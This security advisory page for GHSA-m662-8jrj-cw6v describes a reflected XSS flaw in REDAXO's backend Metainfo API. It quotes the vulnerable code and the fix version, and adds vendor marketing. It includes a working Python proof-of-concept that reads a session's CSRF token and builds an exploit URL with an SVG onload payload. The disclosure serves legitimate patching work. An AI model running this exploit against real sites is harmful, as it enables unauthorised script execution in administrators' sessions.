GHSA-m662-8jrj-cw6v — redaxo/source
GHSA-m662-8jrj-cw6v is a security vulnerability in redaxo/source. A fix is available for redaxo/source — see the affected versions and patch details below.
REDAXO has reflected XSS in backend Metainfo API via type parameter (CSRF token required)
Real-World Exposure
redaxo/sourceReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A reflected XSS vulnerability has been identified in the REDAXO backend. The type parameter is concatenated into an API error message and rendered without HTML escaping.
Details
Root cause
User input type is injected into an exception message, then rendered by rex_view::error() which delegates to rex_view::message() without HTML escaping.
Vulnerable code (redaxo/src/addons/metainfo/lib/handler/api_default_fields.php) :
$type = rex_get('type', 'string');
throw new rex_api_exception(sprintf('metainfo type "%s" does not have default field.', $type));
Sink (redaxo/src/core/lib/view.php) :
return '<div class="' . $cssClassMessage . '">' . $message . '</div>';
Data flow source -> sink
- Source :
type(GET) - Propagation : concatenated into the exception message
- Sink : rendered via
rex_view::error()->rex_view::message()without escaping
Authentication required : yes (backend session)
PoC - exploit
#!/usr/bin/env python3
import re
import urllib.parse
import requests
TARGET_URL = "http://poc.local/"
BACKEND_PATH = "redaxo/index.php"
SESSION_ID = "xxxxxxxxxxxxxxxxxxxxx"
VERIFY_SSL = False
TIMEOUT = 15
PAYLOAD = '\"><svg/onload=alert("pwned")>'
def build_backend_url() -> str:
base = TARGET_URL.rstrip("/")
return f"{base}/{BACKEND_PATH.lstrip('/')}"
def extract_api_csrf(html_text: str) -> str:
m = re.search(r'rex-api-call=metainfo_default_fields_create[^"\']+', html_text)
if not m:
raise RuntimeError("Could not find the metainfo_default_fields_create API link in the page HTML.")
fragment = m.group(0).replace("&", "&")
token_match = re.search(r"_csrf_token=([^&]+)", fragment)
if not token_match:
raise RuntimeError("CSRF token for metainfo_default_fields_create was not found in the extracted link.")
return token_match.group(1)
def set_session_cookie(session: requests.Session) -> None:
parsed = urllib.parse.urlparse(TARGET_URL)
if parsed.hostname:
session.cookies.set("PHPSESSID", SESSION_ID, domain=parsed.hostname, path="/")
def main() -> None:
backend_url = build_backend_url()
s = requests.Session()
set_session_cookie(s)
# Admin backend session required
r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)
if "rex-page-login" in r0.text or "rex_user_login" in r0.text:
print("[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.")
return
r = s.get(backend_url, params={"page": "metainfo/articles"}, timeout=TIMEOUT, verify=VERIFY_SSL)
if r.status_code != 200:
print(f"[!] Failed to access metainfo page (HTTP {r.status_code}).")
return
api_token = extract_api_csrf(r.text)
params = {
"page": "metainfo/articles",
"rex-api-call": "metainfo_default_fields_create",
"type": PAYLOAD,
"_csrf_token": api_token,
}
exploit_url = f"{backend_url}?{urllib.parse.urlencode(params)}"
print(exploit_url)
if __name__ == "__main__":
main()
The script uses only the provided PHPSESSID, retrieves the CSRF token from the metainfo page, and prints a ready-to-use exploit link.
Impact
- Confidentiality : Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.
- Integrity : Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.
- Availability : Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.
Video
https://github.com/user-attachments/assets/251f548c-3f68-483b-a012-b8fc28493a83
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | redaxo/source | all versions | 5.21.0composer require redaxo/source:^5.21.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for redaxo/source, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update redaxo/source to 5.21.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m662-8jrj-cw6v is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-m662-8jrj-cw6v can be triaged on real exposure rather than presence alone.
Tailored to GHSA-m662-8jrj-cw6v. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-m662-8jrj-cw6v in your dependencies?
O3 Security finds GHSA-m662-8jrj-cw6v across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.